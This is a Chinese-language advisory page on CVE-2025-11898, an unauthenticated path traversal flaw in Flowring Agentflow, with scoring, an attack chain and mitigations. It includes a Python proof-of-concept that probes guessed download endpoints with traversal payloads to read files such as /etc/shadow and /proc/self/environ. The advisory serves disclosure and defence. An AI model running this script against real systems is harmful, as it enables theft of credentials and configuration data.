IPBUF安全漏洞报告
English
CVE-2025-11898 CVSS 7.5 高危

CVE-2025-11898:Flowring Agentflow 任意文件读取漏洞

披露日期: 2025-10-17

漏洞信息

漏洞编号
CVE-2025-11898
漏洞类型
路径遍历/任意文件读取
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Flowring Agentflow

相关标签

路径遍历任意文件读取CVE-2025-11898AgentflowFlowring高危漏洞未认证漏洞信息泄露BPM平台TWNCERT

漏洞概述

CVE-2025-11898是Flowring公司开发的Agentflow产品中存在的一个高危安全漏洞。该漏洞属于相对路径遍历(Relative Path Traversal)漏洞,允许未经认证的远程攻击者通过精心构造的请求下载服务器上的任意系统文件。

根据CVSS 3.1评分体系,该漏洞的基础评分为7.5分,属于高危级别。漏洞的攻击向量为网络(AV:N),攻击复杂度低(AC:L),无需任何特权(PR:N),也无需用户交互(UI:N)。从影响维度来看,该漏洞对机密性影响为高(C:H),对完整性和可用性无影响(I:N, A:N),这意味着攻击者主要目标是窃取敏感信息而非破坏系统。

该漏洞由台湾计算机紧急响应中心(TWNCERT)发现并报告,披露日期为2025年10月17日。由于Agentflow是一款企业级业务流程管理(BPM)和工作流自动化平台,广泛应用于企业的流程数字化转型中,因此该漏洞可能对使用该产品的企业造成严重的数据泄露风险,包括但不限于源代码、配置文件、数据库凭证等敏感信息的泄露。

该漏洞的利用门槛极低,攻击者无需任何认证凭据即可远程发起攻击,这大大增加了其威胁程度。鉴于其网络可达性和低利用复杂度,建议相关用户尽快采取防护措施。

技术细节

该漏洞的核心原理是Agentflow应用程序未能充分验证用户输入的文件路径参数,导致存在相对路径遍历漏洞。攻击者可以通过构造包含特殊路径序列(如../或..\)的请求,绕过应用程序的访问控制机制,访问Web根目录之外的文件系统。

具体而言,当用户通过HTTP请求访问Agentflow的某些文件下载或读取功能时,应用程序会将用户提供的路径参数直接用于文件系统操作,而没有进行严格的路径规范化或白名单校验。攻击者可以利用这一缺陷,通过提交类似如下形式的请求来读取任意文件:

请求URL中包含类似 `../../../etc/passwd` 或 `..\..\..\windows\system32\config\sam` 的相对路径遍历序列。由于应用程序未对路径进行规范化处理(如未使用realpath()或类似函数进行路径解析),操作系统层面的文件访问控制被绕过,允许攻击者读取Web服务进程权限可访问的任何文件。

漏洞利用条件包括:1)目标系统部署了存在漏洞版本的Agentflow;2)Agentflow的Web服务端口对攻击者可达;3)Web服务进程具有目标文件的读取权限。由于该漏洞无需认证即可利用,攻击者可以完全匿名地进行攻击,这大大增加了检测和溯源的难度。

成功利用该漏洞后,攻击者可以获取服务器上的敏感文件,如配置文件(可能包含数据库连接字符串、API密钥等)、源代码、用户凭证文件等,进而为后续攻击(如权限提升、横向移动)奠定基础。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过网络扫描或搜索引擎发现暴露在公网上的Agentflow服务实例,识别目标系统的版本和开放端口。
STEP 2
步骤2:漏洞探测
攻击者构造包含相对路径遍历序列(如../)的HTTP请求,探测Agentflow的文件下载/读取接口是否存在路径遍历漏洞。
STEP 3
步骤3:路径遍历利用
攻击者通过精心构造的路径遍历Payload(如../../../etc/passwd),绕过应用程序的访问控制,读取Web根目录之外的系统文件。
STEP 4
步骤4:敏感信息窃取
攻击者下载并分析关键配置文件(如数据库连接配置、API密钥、用户凭证等),获取系统的敏感信息。
STEP 5
步骤5:进一步渗透
基于获取的敏感信息,攻击者可能进行进一步的攻击,如利用数据库凭证访问后端系统、使用API密钥调用内部服务、或进行横向移动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11898 - Agentflow Relative Path Traversal PoC # Vulnerability: Arbitrary File Reading via Relative Path Traversal # Severity: HIGH (CVSS 7.5) import requests import sys from urllib.parse import quote TARGET_URL = "http://target-agentflow-server" # Common file download/read endpoints in Agentflow that may be vulnerable VULNERABLE_ENDPOINTS = [ "/download", "/file", "/getfile", "/readfile", "/export", "/attachment", "/resource", ] # Files to attempt to read TARGET_FILES = [ "../../../../../../etc/passwd", "../../../../../../etc/shadow", "../../../../../../windows/win.ini", "../../../../../../windows/system32/drivers/etc/hosts", "../../../../../../proc/self/environ", "../../../../../../WEB-INF/web.xml", "../../../../../../conf/server.xml", ] def exploit_path_traversal(base_url, endpoint, target_file): """ Attempt to exploit relative path traversal vulnerability """ # Try different path traversal patterns traversal_patterns = [ target_file, target_file.replace("../", "..\\\\"), "....//" + target_file.replace("../", ""), "." + target_file, ] for pattern in traversal_patterns: url = f"{base_url}{endpoint}" params = {"file": pattern, "path": pattern, "filename": pattern, "name": pattern} try: response = requests.get(url, params=params, timeout=10) # Check if response indicates successful file read if response.status_code == 200 and len(response.content) > 0: # Check for common indicators of successful file read indicators = ["root:", "Administrator", "localhost", "<?xml", "PATH="] for indicator in indicators: if indicator in response.text: print(f"[+] SUCCESS - Endpoint: {endpoint}, Pattern: {pattern}") print(f"[+] File content preview: {response.text[:200]}") return True, response.text except Exception as e: continue return False, None def main(): print(f"[*] Targeting: {TARGET_URL}") print(f"[*] CVE-2025-11898 - Agentflow Arbitrary File Reading\n") for endpoint in VULNERABLE_ENDPOINTS: for target_file in TARGET_FILES: success, content = exploit_path_traversal(TARGET_URL, endpoint, target_file) if success: print(f"\n[+] Vulnerability confirmed!") print(f"[+] Endpoint: {endpoint}") print(f"[+] File: {target_file}") sys.exit(0) print("[-] Could not confirm vulnerability with tested patterns") if __name__ == "__main__": main()

影响范围

Flowring Agentflow(所有未修复的版本)

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)通过网络防火墙或安全组限制Agentflow服务的网络访问范围,仅允许可信IP地址访问;2)部署WAF规则,阻止包含../等路径遍历特征的HTTP请求;3)在反向代理(如Nginx)层面配置路径过滤规则,拒绝异常的路径请求;4)将Agentflow服务进程以低权限用户运行,限制其对敏感系统文件的访问权限;5)加强日志监控,对异常的文件访问请求进行告警和阻断。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表